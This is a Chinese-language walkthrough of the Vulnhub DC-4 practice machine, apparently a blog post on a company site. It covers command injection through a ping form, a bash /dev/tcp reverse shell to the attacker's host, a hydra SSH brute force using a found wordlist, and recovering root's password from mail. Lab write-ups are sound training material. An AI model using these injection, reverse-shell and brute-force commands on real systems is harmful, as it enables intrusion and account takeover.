资讯动态

DC-4靶机实战:命令注入到SSH横向移动与Linux提权全解析

发布时间:2026/10/14 15:41:23 来源:尧图企业网站定制
Vulnhub上的DC系列靶机一直是我练手提权思路的首选环境。DC-4这台的路径非常清晰从Web后台的命令注入点到反弹Shell再靠系统内置的密码字典横向移动到SSH用户最后通过邮件线索拿到root密码。整个过程没有复杂的0day也没有内核漏洞但每一步都能逼着你把信息收集做到位。我完整刷完这台靶机大概用了一个下午中间踩了几个不算难但很烦的坑。这篇文章就把我实际打靶的完整过程拆开揉碎写一遍包括当时为什么选这条路、哪些环节容易卡住、以及拿到Shell之后该怎么梳理下一步。推荐给已经做过两三类基础靶机想系统练一遍Web注入和提权的朋友参考。1. 靶机部署与网络边界侦察1.1 靶机导入与网络配置要点DC-4的镜像文件是一个虚拟机格式下载后直接用虚拟机平台导入即可。导入后先别急着开机第一件事是把网络模式固定下来。我习惯把靶机和攻击机都放在同一个NAT网段这样既不需要额外配置路由也不会因为桥接模式引入局域网里其他真实设备的干扰。至于host-only模式也可以但需要注意DHCP服务正常。开机后靶机会通过DHCP拿地址这个地址不一定每次都一样。我踩过的一个小坑是第一次开机时靶机IP是192.168.1.12重启一次后变成192.168.1.15我在笔记里还写着旧的地址结果后面所有扫描全部落空。所以强烈建议记录靶机的MAC地址这样每次识别都靠MAC过滤不会认错机器。另外导入镜像后建议给靶机做一次快照。万一中途把系统配置改崩了或者注入命令把服务挂掉直接恢复快照就能回到初始状态。这个习惯在打更复杂的靶机时尤其有用。1.2 存活探测与端口扫描思路存活探测我习惯用nmap配合ping扫描一条命令把当前网段捋一遍nmap -sn 192.168.1.0/24结果里会出现攻击机自身、网关还有一个陌生地址那个基本就是靶机。这里要说一下靶机在NAT模式下通常只会暴露当前网段所以扫存活比直接猜IP更靠谱。确认IP后先做一次全端口扫描nmap -sS -sV -p- 192.168.1.15DC-4的结果很干净只有22和80两个端口开着。SSH和Web服务这基本就框定了渗透方向Web入口先摸一遍SSH大概率是后面横向移动时用的通道。很多人一看到22端口开放就急着试弱口令这其实没必要等我们从Web侧拿到足够信息后再回头来找SSH效率会高很多。扫描输出里还能看到Web服务的中间件信息。确认是常见的Apache环境后我一般会顺手再跑一次目录枚举但DC-4并不依赖隐藏目录作为入口反而是后台功能点本身藏了问题。2. Web入口侦察与命令注入点分析2.1 登录后台与功能点梳理打开80端口页面上是一个登录框没有任何注册入口和提示。这时候我习惯先看页面源码再看提交方式。用开发者工具随便填一组账号密码提交能看到请求参数名和跳转逻辑。DC-4的后台弱口令其实很典型我试了admin和常见密码组合很快进入了管理界面。进去之后页面功能非常少只有一个Command入口。这个命令执行页面传参形式是一个可以填IP的输入框提交后页面返回类似ping的输出结果。看到这种界面第一反应就应该是命令注入。原因是这类功能在设计时开发人员往往直接调用系统命令来执行用户输入的参数比如?php system(ping -c 3 . $_POST[ip]); ?一旦用户输入里带上了Shell元字符系统命令就会多执行出来一条甚至多条指令。这里也提醒一下目录爆破虽然重要但优先把页面功能点全部点一遍往往能省下很多无意义的扫描时间。DC-4的入口就在明面上不需要去翻那些偏僻目录。2.2 命令注入的判定与符号测试确认注入点之前先输入一个普通内网IP比如127.0.0.1页面正常返回ping结果。接下来再输入127.0.0.1; id返回结果里出现了当前用户的id信息这就证明分号后面的命令也被系统执行了。命令注入成立。常见的注入符号我整理了这样一个表注入符号预期效果实战备注;分号后命令依次执行最常用成本最低|管道符左侧输出交给右侧命令适合结合读取文件左侧执行成功右侧才执行条件触发场景||左侧执行失败右侧执行偶尔遇到$(command)命令替换适合无回显场景盲打在DC-4里分号和管道符都能用。我当时的习惯是先用分号测试因为PHP的system函数在拼接命令时分号最容易被直接透传。如果目标环境过滤了分号再试管道符和逻辑或多一层思路就多一条出路。3. 反弹Shell与敏感数据收集3.1 反弹Shell的构建与稳定化有了命令执行能力下一步不是继续在HTTP请求里敲命令而是尽快把交互式Shell拉出来。反弹Shell的方式有很多核心是要匹配目标机上已有的工具。DC-4是Debian系环境bash和nc都齐所以最省事的做法是攻击机先监听端口nc -lvnp 4444然后在注入点输入127.0.0.1; bash -i /dev/tcp/192.168.1.10/4444 01这里攻击机IP要根据自己环境改我当时那台的地址是192.168.1.10。命令执行后攻击机这边立刻收到了目标机的Shell。拿到Shell第一步不是急着翻目录而是先做三件事whoami确认当前用户、id确认用户组和权限范围、pwd确认当前位置。DC-4初始Shell是www-data权限属于Web服务用户能读大部分文件但改不了系统关键配置。升级为可交互终端用的是Pythonpython3 -c import pty; pty.spawn(/bin/bash)然后再配合CtrlZ挂起、stty设置完成终端尺寸和回显Shell用起来才顺手。这一步是很多新手容易跳过的环节结果后面一执行vim或者需要上下翻页的命令就各种乱码。3.2 用户枚举与密码字典发现拿到www-data权限后我开始系统梳理目标机器上的用户信息。最直接的是查看可登录Shell的用户cat /etc/passwd | grep /bin/bash结果里有root、jim、charles。同时看home目录确认jim和charles对应的账户文件夹都存在。这说明后续要么横向移动要么提权目标对象大概率就是这两个普通用户。在Web目录和home目录之间翻找时我发现了一个old备份目录里面装着一个密码字典文件。这个文件不是网上下的通用字典而是DC-4内置的密码集合。这个发现基本决定了后续路线直接用字典去爆破SSH比手工猜密码靠谱得多。这里分享一个信息收集的经验不要只盯着一个目录翻Web根目录、上传目录、用户home目录、tmp目录、备份目录都要看一遍。DC-4把字典放在一个看似不起眼的备份路径里如果当时我扫完Web根目录就走了后面提权大概率会卡很久。4. SSH横向移动与root接管4.1 基于字典的SSH口令爆破把目标机上的密码字典拖回攻击机后我整理出了两个用户名jim和charles然后用hydra对SSH服务做一轮爆破hydra -L user.txt -P password.txt ssh://192.168.1.15hydra跑得很快结果里jim用户命中了其中一个密码而charles没有命中。这说明系统里留给我们的突破口就是jim账号。这一步的逻辑很清楚字典文件就是系统设计者埋好的钥匙配合SSH作为通道完成横向移动。拿到密码后直接通过SSH登录ssh jim192.168.1.15到这里我们已经完成了从Web注入到系统普通用户的转换。这个转换的意义在于www-data只是Web服务的运行账号很多关键的操作和读取都受限制而jim是真实用户能读取自己的家目录、邮件并执行sudo相关的检查权限范围立刻扩大了一大圈。4.2 邮件信息提取与root密码获取登录jim之后我习惯性地先跑了一下sudo -l确认当前用户的sudo配置。在DC-4上这一步的返回值信息有限真正关键的信息藏在邮件里。jim的邮箱文件位于/var/mail/jim用cat读取后发现里面有一封来自root账户的邮件内容提到root密码相关的线索。邮件里没有直接把root密码打印出来而是给出了一句提示顺着这句提示能组合出正确的root密码。这里想特别说明一个细节很多人刷靶机时只盯着目录和配置文件完全忽略系统内部邮件。实际上在真实环境中系统日志、邮件、历史命令、定时任务脚本往往藏着重大的信息泄漏。DC-4的价值之一就是逼着你把信息收集的面铺得更宽。拿到root密码后用su切换su root输入密码后成功拿到root权限。进入root家目录看到最终的flag文件并读取内容。至此DC-4这台靶机被完整渗透。5. 实战避坑与经验复盘5.1 三个常见卡点与排查思路第一次打DC-4的人容易卡在三个地方。第一个是登录后台后不细看页面功能。很多人的第一反应是跑目录扫描结果扫了半天没扫出东西。DC-4的重点在后台的Command功能上只要你点进去输入一个IP注入点就暴露无遗了。第二个是拿到www-data后不知道下一步做什么。拿到Shell只是起点信息收集才是重头戏。要养成随手查看用户目录、登录Shell用户列表、备份文件、邮件的习惯。DC-4的密码字典和root密码线索分别藏在不同层级的文件里缺少哪一步都会卡住。第三个是提权方向选错。拿到jim权限后如果不看邮件而是埋头找内核漏洞会浪费大量时间。优先看系统内部线索再看sudo配置最后才考虑系统漏洞这是提权通用顺序。DC-4把密码线索放在邮件里也是在教大家观察系统的“内部通信”。5.2 高频问题速查与工具使用习惯打这台靶机用到的工具并不多nmap做端口扫描hydra做SSH爆破nc接收反弹Shellpython3做终端增强。工具链越短越容易把注意力放在思路上。我整理了一下刷DC-4过程中可能遇到的问题和对应思路现象可能原因排查方向扫描不到靶机网络模式不一致或DHCP没起来统一NAT模式重启靶机用MAC定位注入命令无回显拼接符号被过滤换管道符、逻辑或、命令替换反弹Shell不稳定终端未做交互配置用pty模块升级交互ShellSSH爆破不出结果字典路径或用户列表不对确认字典来自目标机用户名大小写精准提权路线迷茫遗漏系统内部文件检查邮件、历史命令、备份目录、sudo配置习惯上我推荐整个打靶过程全程做笔记。不用写得很好看但IP、注入点、测试过的payload、字典路径、用户列表一定要记清楚。我在打DC-4时因为换了个终端就忘了之前试过哪个符号组合结果又花了一轮重新测试。好记性不如烂笔头这句话在渗透里尤其适用。另外一个小技巧拿到www-data权限后如果要查看比较大的文件比如密码字典建议直接cat看内容再拉回攻击机保存不要直接在目标机上用vim打开避免交互终端卡死。拖回攻击机后还能配合grep、sort、uniq做清洗比在目标机里折腾舒服得多。我个人打完DC-4后最大的体会是这台靶机并没有考任何冷门漏洞而是把信息收集、命令注入、横向移动、提权思路串联成了一条完整的攻击链。它最值得学习的地方不在于某一条命令有多精巧而在于系统内部的那条线索链如何引导你一路走到root。如果你也正在刷DC系列我建议每题都试着把自己的决策过程写下来而不是单纯追求拿到flag的速度。刷完DC-4之后再去回看那些依赖通用漏洞的靶机你会发现思路完全不一样了。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑